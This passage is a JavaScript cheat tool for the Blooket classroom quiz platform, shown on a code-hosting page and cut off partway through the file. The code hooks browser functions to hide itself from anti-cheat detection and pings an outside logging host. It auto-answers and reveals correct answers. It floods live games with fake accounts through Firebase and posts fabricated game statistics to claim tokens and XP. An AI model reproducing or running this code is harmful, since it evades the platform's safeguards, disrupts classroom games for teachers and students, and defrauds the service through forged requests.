CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
Shploop

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: Shploop/Blooket-Cheats
Path: blob/main/cheats/reactGui.js
Views: 1214
1
/**
2
* @license StewartPrivateLicense-2.0.1
3
* Copyright (c) 05Konz 2023
4
*
5
* You may not reproduce or distribute any code inside this file without the licenser's permission.
6
* You may not copy, modify, steal, skid, or recreate any of the code inside this file.
7
* You may not under any circumstance republish any code from this file as your own.
8
*
9
* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL
10
* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE
11
*/
12
13
/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */
14
15
(() => {
16
const cheat = (async () => {
17
if (String(Function.prototype.call).includes('native')) {
18
let call = Function.prototype.call;
19
let iframe = document.createElement("iframe");
20
document.body.append(iframe);
21
iframe.style.display = "none";
22
let funcs = {
23
querySelectorAll: function () {
24
if (["#JODGUI", "#JODMOBILE", "#currPageEl", "#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx", "#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2", ".cheatList", ".cheatName", "bG1mYW8=", "#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0]))
25
return [];
26
return iframe.contentDocument.querySelectorAll.apply(document, arguments);
27
},
28
querySelector: iframe.contentDocument.querySelector.bind(document),
29
includes: function () {
30
if (["Cheats", "Global", "Global Cheats", "Discord - oneminesraft2", "Auto Answer (Toggle)", "Auto Sell Dupes On Open", "Spam Buy Blooks", "Food Game", "Change Blook Ingame", "Get Daily Rewards", "Remove Name Limit", "Simulate Unlock", "Cheat ESP", "Gold Quest Cheats", "Cafe Cheats", "Crypto Hack Cheats", "Deceptive Dinos Cheats", "Tower Defense Cheats", "Tower Defense2 Cheats", "Factory Cheats", "Fishing Frenzy Cheats", "Flappy Blook Cheats", "Tower of Doom Cheats", "Crazy Kingdom Cheats", "Racing Cheats", "Battle Royale Cheats", "Blook Rush Cheats", "Monster Brawl Cheats", "Santa's Workshop Cheats"].includes(arguments[0]))
31
return false;
32
return iframe.contentWindow.String.prototype.call(this, arguments);
33
},
34
fetch: iframe.contentWindow.fetch.bind(window),
35
btoa: iframe.contentWindow.btoa.bind(window),
36
getItem: iframe.contentWindow.localStorage.getItem.bind(window.localStorage)
37
}, funcNames = Object.keys(funcs);
38
Function.prototype.call = function () {
39
if (funcNames.includes(this.name)) return call.apply(funcs[this.name], arguments);
40
return call.apply(this, arguments)
41
}
42
; (new Image).src = "https://gui-logger.onrender.com/gui/2?" + Date.now();
43
}
44
45
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
46
const cache = Object.values(webpack.c);
47
const React = cache.find(x => x.exports.createElement).exports;
48
const { createElement, useState, useCallback, useRef, useEffect } = React;
49
const ReactDOM = cache.find(x => x.exports.findDOMNode).exports;
50
const { Textfit } = cache.find(x => x.exports.Textfit).exports;
51
const Tooltip = cache.find(x => x.exports.a?.displayName == "ReactTooltip").exports.a;
52
let settings = {
53
data: null
54
};
55
let styles = { css: `#bigButton:hover,.scriptButton:hover{transition:.2s;filter:brightness(1.1)}#background,#gui{height:100%;width:100%;overflow:hidden}#background,#backgroundImage{position:absolute;visibility:visible}#controls,#credits{padding-bottom:8px;background:var(--infoColor);box-shadow:rgba(0,0,0,.2) 0 -8px inset,rgba(0,0,0,.15) 0 0 4px;top:0}#cheatList,select{text-align:center}#cheatList,#controls,#guiWrapper div,.cheatButton{user-select:none}#cheatList,.cheatButton,.scriptButton{box-sizing:border-box}#contentWrapper,.alertList{-ms-overflow-style:none;scrollbar-width:none}#cheats,#gui,.cheatButton,.scriptButton{position:relative}#guiWrapper{position:fixed;height:80%;width:80%;max-height:600px;max-width:1000px;z-index:999;display:block}.alertList::-webkit-scrollbar{display:none}#contentWrapper::-webkit-scrollbar{display:none}.cheatButton{display:flex;flex-direction:row;align-items:center;min-height:40px;width:190px;margin:4px 0;padding-left:15px;cursor:pointer;text-decoration:none;border-top-right-radius:5px;border-bottom-right-radius:5px;background-color:transparent;color:var(--textColor);transition:.2s linear;font-size:20px;font-weight:400;font-family:Nunito;text-decoration-thickness:auto}#bigButton,.scriptButton{cursor:pointer;transition:.5s;display:flex}.cheatInput,.scriptButton,select{font-family:Nunito,sans-serif;font-weight:400}.cheatButton>div{height:40px;width:135px;display:flex;justify-content:flex-start;align-items:center}.cheatButton:hover{background-color:var(--textColor);color:var(--defaultButton)}#controls,#credits,.cheatInput,.scriptButton,select{color:var(--textColor)}.cheatInput,select{min-width:200px;padding:5px 0;font-size:16px;background-color:var(--inputColor);box-shadow:inset 0 6px rgb(0 0 0 / 20%);margin:3px}#bigButton{font-size:26px;padding:5px 20px 10px;margin:20px auto 10px;color:#fff;justify-content:center;align-items:center;text-decoration:none;border-radius:5px;text-shadow:2px 2px rgb(0 0 0 / 20%);box-shadow:inset 0 -5px #0005;background-color:#0bc2cf}#bigButton:hover{padding-bottom:13px;margin-top:17px;box-shadow:inset 0 -8px #0005}#bigButton:active{padding-bottom:5px;margin-top:25px;box-shadow:inset 0 0 #0005;transition:50ms}#cheatList::-webkit-scrollbar{width:10px}#cheatList::-webkit-scrollbar-track{background:var(--cheatList)}#cheatList::-webkit-scrollbar-thumb{background:var(--cheatList);box-shadow:inset -10px 0 rgb(0 0 0 / 20%)}#cheatList::-webkit-scrollbar-thumb:hover{background:var(--cheatList);box-shadow:inset -10px 0 rgb(0 0 0 / 30%)}.cheatInput{max-width:200px;border:none;border-radius:7px;caret-color:var(--textColor)}.cheatInput::placeholder{color:var(--textColor)}.cheatInput:focus,select:focus{outline:0}.cheatInput::-webkit-inner-spin-button,.cheatInput::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.cheatInput[type=number]{-moz-appearance:textfield}select{border:none;border-radius:7px}.scriptButton{align-items:center;flex-direction:column;justify-content:center;margin:10px;padding:5px 5px 11px;width:250px;border-radius:7px;box-shadow:inset 0 -6px rgb(0 0 0 / 20%)}.scriptButton:hover{margin-top:7px;padding-bottom:14px;box-shadow:inset 0 -9px rgb(0 0 0 / 20%)}.scriptButton:active{transition:50ms;margin-top:16px;padding-bottom:5px;box-shadow:inset 0 0 rgb(0 0 0 / 20%)}#gui{outline:rgb(58,58,58) solid 3px;border-radius:15px}#background{display:block;top:0;left:0;background:var(--backgroundColor)}#backgroundImage{background-image:url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png);display:block;height:200%;width:200%;top:50%;left:50%;background-position:-100px -100px;background-size:550px;transform:translate(-50%,-50%) rotate(15deg);appearance:none;opacity:.175}#controls{cursor:grab;display:flex;flex-direction:column;align-items:flex-start;justify-content:center;padding-inline:15px;position:absolute;left:220px;visibility:visible;z-index:5;height:52px;width:max-content;border-bottom-right-radius:10px;font-family:Nunito,sans-serif;font-weight:700}#controlButtons,#credits{align-items:center;right:0;visibility:visible;font-family:Nunito,sans-serif;font-weight:700;user-select:text;z-index:5;display:flex;position:absolute}#controls:active{cursor:grabbing}#credits{justify-content:center;height:47px;width:210px;border-bottom-left-radius:10px}#controlButtons{justify-content:center;bottom:0;height:55px;width:165px;border-left:3px solid #000;border-top:3px solid #000;border-top-left-radius:10px;color:#fff;overflow:hidden;pointer-events:all}.dragButton:active{cursor:grabbing!important}#controlButtons>*{height:55px;width:55px;font-family:Nunito;color:#fff;border:none;font-size:2rem;display:flex;align-items:center;justify-content:center;cursor:grab}#cheatList,#cheats,.cheatName{color:var(--textColor)}#cheats,#contentWrapper,.alertContainer,.headerText{border-radius:7px}#cheatList{overflow-y:scroll;overflow-x:hidden;background:var(--cheatList);box-shadow:rgba(0,0,0,.2) -10px 0 inset;z-index:5;width:220px;position:absolute;top:0;left:0;height:100%;font-family:"Titan One";font-size:40px;padding-block:20px;display:flex;flex-direction:column}#contentWrapper{position:absolute;left:220px;top:70px;overflow-y:scroll;width:calc(100% - 220px);height:calc(100% - 70px)}#cheats,.headerText>div{align-items:center;box-sizing:border-box;display:flex;width:100%;font-weight:400}#content{position:absolute;inset:27px 50px 50px}#cheats{flex-flow:row wrap;justify-content:space-evenly;padding:20px 5px;font-family:Nunito,sans-serif;background:var(--contentBackground);box-shadow:rgba(0,0,0,.2) 0 -6px inset}.headerText{box-sizing:border-box;display:block;height:45px;left:-10px;padding:4px 4px 8px;position:absolute;top:-28px;background-color:#ef7426;box-shadow:rgba(0,0,0,.2) 0 4px,rgba(0,0,0,.2) 0 -4px inset}.headerText>div{height:100%;justify-content:center;padding:0 15px;font-family:"Titan One",sans-serif;font-size:26px;text-shadow:#646464 -1px -1px 0,#646464 1px -1px 0,#646464 -1px 1px 0,#646464 2px 2px 0;color:#fff;background:linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a);border-radius:5px}.alertContainer{margin:15px 15px 5px;background-color:rgb(0 0 0 / 50%);width:95%;height:370px;display:block;align-items:center;justify-content:center}`, keys: {} };
56
for (let key of [...styles.css.matchAll(/(#|\.)([a-zA-Z]+?)(,|\{|:)/g)].reduce((a, [_, __, b]) => (a.includes(b) ? a : a.concat(b)), [])) {
57
styles.keys[key] = Array(10).fill().reduce((a) => a + String.fromCharCode(Math.floor(Math.random() * 25) + 97), "");
58
styles.css = styles.css.replace(new RegExp(`(#|\\.)(${key})(,|\\{|:|>|\\[)`, "g"), (_, __, m) => m == key ? _.replace(key, styles.keys[key]) : _);
59
}
60
const Cheats = {
61
global: {
62
name: "Global",
63
img: "https://media.blooket.com/image/upload/v1661496291/Media/uiTest/Games_Played_2.svg",
64
cheats: [
65
{
66
name: "Auto Answer (Toggle)",
67
description: "Toggles auto answer on",
68
type: "toggle",
69
enabled: false,
70
data: null,
71
run: function () {
72
if (!this.enabled) {
73
this.enabled = true;
74
this.data = setInterval(() => {
75
const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
76
const q = (question || pquestion);
77
try {
78
if (q.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][q.answers.map((x, i) => q.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.();
79
else document.querySelector('[class*="feedback"]')?.firstChild?.click?.();
80
else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(q.answers[0])
81
} catch { }
82
}, 50);
83
} else {
84
this.enabled = false;
85
clearInterval(this.data);
86
this.data = null;
87
}
88
}
89
},
90
{
91
name: "Highlight Answers (Toggle)",
92
description: "Toggles highlight answers on",
93
type: "toggle",
94
enabled: false,
95
data: null,
96
run: function () {
97
if (!this.enabled) {
98
this.enabled = true;
99
this.data = setInterval(() => {
100
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
101
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
102
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
103
else answer.style.backgroundColor = "rgb(189, 15, 38)";
104
});
105
}, 50);
106
} else {
107
this.enabled = false;
108
clearInterval(this.data);
109
this.data = null;
110
}
111
}
112
},
113
{
114
name: "Auto Answer",
115
description: "Click the correct answer for you",
116
run: function () {
117
const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
118
try {
119
if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.();
120
else document.querySelector('[class*="feedback"]')?.firstChild?.click?.();
121
else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0])
122
} catch { }
123
}
124
},
125
{
126
name: "Spam Buy Blooks",
127
description: "Opens a box an amount of times",
128
inputs: [
129
{
130
name: "Box",
131
type: "options",
132
options: () => {
133
return new Promise(r => {
134
r(Object.keys(Object.values(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]).webpack.c).find(x => !isNaN(x?.exports?.a?.Space))?.exports?.a || {}));
135
});
136
}
137
},
138
{
139
name: "Amount",
140
type: "number"
141
}
142
],
143
run: function (box, amountToOpen) {
144
let i = document.createElement('iframe');
145
document.body.append(i);
146
window.alert = i.contentWindow.alert.bind(window);
147
window.prompt = i.contentWindow.prompt.bind(window);
148
window.confirm = i.contentWindow.confirm.bind(window);
149
i.remove();
150
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]),
151
axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a,
152
{ purchaseBlookBox } = Object.values(webpack.c).find(x => x.exports.a?.purchaseBlookBox).exports.a;
153
box = box.split(' ').map(x => x.charAt(0).toUpperCase() + x.slice(1).toLowerCase()).join(' ');
154
155
axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { name, tokens } }) => {
156
let prices = Object.values(webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || { Medieval: 20, Breakfast: 20, Wonderland: 20, Blizzard: 25, Space: 20, Bot: 20, Aquatic: 20, Safari: 20, Dino: 25, "Ice Monster": 25, Outback: 25 }
157
let amount = Math.min(Math.floor(tokens / prices[box]), amountToOpen);
158
if (amount == 0) {
159
if (amountToOpen > 0) alert("You do not have enough tokens!");
160
return;
161
};
162
163
let alertBlooks = confirm("Would you like to alert blooks upon unlocking?");
164
let blooks = {};
165
let now = Date.now();
166
let error = false;
167
168
for (let i = 0; i < amount; i++) {
169
await purchaseBlookBox({ boxName: box }).then(({ isNewToUser, tokens, unlockedBlook }) => {
170
blooks[unlockedBlook] ||= 0;
171
blooks[unlockedBlook]++;
172
173
let before = Date.now();
174
175
if (alertBlooks) alert(`${unlockedBlook} (${i + 1}/${amount}) ${isNewToUser ? "NEW! " : ''}${tokens} tokens left`);
176
177
now += Date.now() - before;
178
}).catch(e => error = true);
179
if (error) break;
180
};
181
alert(`(${Date.now() - now}ms) Results:\n${Object.entries(blooks).map(([blook, amount]) => ` ${blook} ${amount}`).join(`\n`)}`);
182
}).catch(() => alert('There was an error user data!'));
183
}
184
},
185
{
186
name: "Flood Game",
187
description: "Floods a game with a number of fake accounts",
188
inputs: [
189
{
190
name: "Game ID",
191
type: "string"
192
},
193
{
194
name: "Name",
195
type: "string"
196
},
197
{
198
name: "Amount",
199
type: "number"
200
},
201
{
202
name: "Blook",
203
type: "options",
204
options: async () => {
205
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
206
return ["Random"].concat(Object.keys(Object.values(webpack.c).find(x => x.exports.a?.Black)?.exports?.a || []));
207
}
208
},
209
{
210
name: "Banner",
211
type: "options",
212
options: Object.entries({ Starter: "starter", Chalkboard: "chalkboard", Slime: "slime", Bookshelf: "bookshelf", "Toaster Pastry": "toasterPastry", Theater: "theater", Sushi: "sushi", Workbench: "workbench", Spooky: "spooky", Spiders: "spiders", Coffin: "coffin", Pumpkins: "pumpkins", "Falling Blocks": "fallingBlocks", Racetrack: "racetrack", Harvest: "harvest", Leaves: "leaves", "Fall Picnic": "fallPicnic", "Winter Drive": "winterDrive", "Winter Train": "winterTrain", Ice: "ice", Gifts: "gifts", "Christmas Tree": "christmasTree", "Soccer Field": "soccerField", "Winter Landscape": "winterLandscape", "Football Field": "footballField", "Outer Space": "outerSpace", "Hockey Rink": "hockeyRink", "Music Class": "musicClass", "Ice Cream Sandwich": "iceCreamSandwich", "Science Class": "scienceClass", "Fish Tank": "fishTank", "Art Class": "artClass", Clockwork: "clockwork", "Love Letter": "loveLetter", Farm: "farm", Chocolate: "chocolate", "Tech Chip": "techChip", Fire: "fire", "Orange Ice Pop": "orangeIcePop" }).map(([name, value]) => ({ name, value }))
213
}
214
],
215
run: async function (id, name, amount, b, bg) {
216
let cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache);
217
const axios = cache.find((x) => x.exports?.a?.get).exports.a;
218
const firebase = cache.find(x => x.exports?.a?.initializeApp).exports.a;
219
const blooks = Object.keys(Object.values(cache).find(x => x.exports.a?.Black).exports.a);
220
221
for (let i = 1; i <= amount; i++) {
222
(async () => {
223
let ign = `${name}${String.fromCharCode(96 + i)}`;
224
const { data: { success, fbToken, fbShardURL } } = await axios.put("https://fb.blooket.com/c/firebase/join", { id, name: ign });
225
if (!success) return;
226
const liveApp = firebase.initializeApp({
227
apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",
228
authDomain: "blooket-2020.firebaseapp.com",
229
projectId: "blooket-2020",
230
storageBucket: "blooket-2020.appspot.com",
231
messagingSenderId: "741533559105",
232
appId: "1:741533559105:web:b8cbb10e6123f2913519c0",
233
measurementId: "G-S3H5NGN10Z",
234
databaseURL: fbShardURL
235
}, ign);
236
const auth = firebase.auth(liveApp);
237
await auth.setPersistence(firebase.auth.Auth.Persistence.NONE).catch(console.error);
238
await auth.signInWithCustomToken(fbToken).catch(console.error);
239
await liveApp.database().ref(`${id}/c/${ign}`).set({ b: b == "Random" ? blooks[Math.floor(Math.random() * blooks.length)] : b, bg });
240
liveApp.delete();
241
})();
242
await new Promise(r => setTimeout(r, 100));
243
}
244
}
245
},
246
{
247
name: "Change Blook Ingame",
248
description: "Changes your blook",
249
inputs: [
250
{
251
name: "Blook",
252
type: "options",
253
options: async () => {
254
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
255
return Object.keys(Object.values(webpack.c).find(x => x.exports.a?.Chick && x.exports.a?.Elephant).exports.a);
256
}
257
}
258
],
259
run: function (blook) {
260
let { props } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode;
261
props.client.blook = blook;
262
props.liveGameController.setVal({ path: `c/${props.client.name}/b`, val: blook });
263
}
264
},
265
{
266
name: "Get Daily Rewards",
267
description: "Gets max daily tokens and xp",
268
run: async function () {
269
let i = document.createElement('iframe');
270
document.body.append(i);
271
window.alert = i.contentWindow.alert.bind(window);
272
i.remove();
273
if (!location.href.includes("play.blooket.com")) (alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/"));
274
else {
275
const cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache),
276
axios = cache.find((x) => x.exports?.a?.get).exports.a,
277
{ data: { t } } = await axios.post("https://play.blooket.com/api/playersessions/solo", {
278
gameMode: "Factory",
279
questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(Math.random() * 24)]
280
});
281
await axios.post("https://play.blooket.com/api/playersessions/landings", { t });
282
await axios.get("https://play.blooket.com/api/playersessions/questions", { params: { t } });
283
const { name, blook: { name: blookUsed } } = await cache.find(x => x.exports.a?.me).exports.a.me({}).catch(() => alert('There was an error getting user data.'));
284
await axios.put("https://play.blooket.com/api/users/factorystats", {
285
blookUsed, t, name,
286
cash: Math.floor(Math.random() * 90000000) + 10000000,
287
correctAnswers: Math.floor(Math.random() * 500) + 500,
288
upgrades: Math.floor(Math.random() * 300) + 300,
289
mode: "Time-Solo",
290
nameUsed: "You",
291
place: 1,
292
playersDefeated: 0,
293
});
294
axios.put("https://play.blooket.com/api/users/add-rewards", { t, name, addedTokens: 500, addedXp: 300 })
295
.then(({ data: { dailyReward } }) => alert(`Added max tokens and xp, and got ${dailyReward} daily wheel tokens!`))
296
.catch(() => alert('There was an error when adding rewards.'));
297
}
298
}
299
},
300
{
301
name: "Use Any Blook",
302
description: "Allows you to play as any blook",
303
run: function () {
304
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
305
const blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;
306
if (location.pathname == "/blooks") stateNode.setState({ blookData: Object.keys(blooks).reduce((a, b) => (a[b] = (stateNode.state.blookData[b] || 1), a), {}), allSets: Object.values(blooks).reduce((a, b) => (a.includes(b.set) ? a : a.concat(b.set)), []) });
307
else if (Array.isArray(stateNode.state.unlocks)) stateNode.setState({ unlocks: Object.keys(blooks) });
308
else stateNode.setState({ unlocks: blooks });
309
}
310
},
311
{
312
name: "Every Answer Correct",
313
description: "Sets every answer to be correct",
314
run: function () {
315
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
316
stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers }));
317
}
318
},
319
{
320
name: "Highlight Answers",
321
description: "Colors answers to be red or green highlighting the correct ones",
322
run: function () {
323
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
324
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
325
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
326
else answer.style.backgroundColor = "rgb(189, 15, 38)";
327
});
328
}
329
},
330
{
331
name: "Remove Name Limit",
332
description: "Sets the name limit to 120, which is the actual max name length limit",
333
run: function () {
334
let i = document.createElement('iframe');
335
document.body.append(i);
336
window.alert = i.contentWindow.alert.bind(window);
337
i.remove();
338
document.querySelector('input[class*="nameInput"]').maxLength = 120; /* 120 is the actual limit */
339
alert("Removed name length limit");
340
}
341
},
342
{
343
name: "Remove Random Name",
344
description: "Allows you to put a custom name",
345
run: function () {
346
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ isRandom: false, client: { name: "" } });
347
document.querySelector('[class*="nameInput"]')?.focus?.();
348
}
349
},
350
{
351
name: "Sell Cheap Duplicates",
352
description: "Sells all of your uncommon to epic dupes (not legendaries+)",
353
run: function () {
354
let i = document.createElement('iframe');
355
document.body.append(i);
356
window.alert = i.contentWindow.alert.bind(window);
357
window.confirm = i.contentWindow.confirm.bind(window);
358
i.remove();
359
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]),
360
axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a,
361
{ sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a;
362
axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => {
363
let blooks = Object.entries(unlocks).filter(([blook, amount]) => amount > 1 && !["Legendary", "Chroma", "Mystical"].includes(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a[blook].rarity));
364
if (confirm(`Are you sure you want to sell your uncommon to epic dupes?`)) {
365
let now = Date.now();
366
for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 });
367
alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`);
368
}
369
}).catch(() => alert('There was an error user data!'));
370
}
371
},
372
{
373
name: "Sell Duplicate Blooks",
374
description: "Sell all duplicate blooks leaving you with 1 each",
375
run: function () {
376
let i = document.createElement('iframe');
377
document.body.append(i);
378
window.alert = i.contentWindow.alert.bind(window);
379
window.confirm = i.contentWindow.confirm.bind(window);
380
i.remove();
381
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]),
382
axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a,
383
{ sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a;
384
axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => {
385
let blooks = Object.entries(unlocks).filter(x => x[1] > 1);
386
if (confirm(`Are you sure you want to sell your dupes?`)) {
387
let now = Date.now();
388
for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 });
389
alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`);
390
}
391
}).catch((e) => (alert('There was an error user data!'), console.info(e)));
392
}
393
},
394
{
395
name: "Simulate Pack",
396
description: "Simulate opening a pack",
397
inputs: [{
398
name: "Pack",
399
type: "options",
400
options: async () => {
401
return Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt);
402
}
403
}],
404
run: (function () {
405
try {
406
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
407
let values = Object.values(webpack.c),
408
blooks = values.find(x => x.exports?.a?.Chick?.set).exports.a,
409
packs = values.find(x => x.exports.a?.Breakfast).exports.a,
410
allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {});
411
let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports;
412
let scene = {};
413
class Particles extends phaser.Scene {
414
constructor(rarity) {
415
super();
416
this.rarity = rarity.toLowerCase();
417
}
418
preload() {
419
switch (this.rarity) {
420
case "uncommon":
421
this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 });
422
this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 });
423
this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 });
424
this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 });
425
this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 });
426
this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 });
427
this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 });
428
break;
429
case "rare":
430
this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 });
431
this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 });
432
this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 });
433
this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 });
434
this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 });
435
this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 });
436
this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 });
437
break;
438
case "epic":
439
this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 });
440
this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 });
441
this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 });
442
this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 });
443
this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 });
444
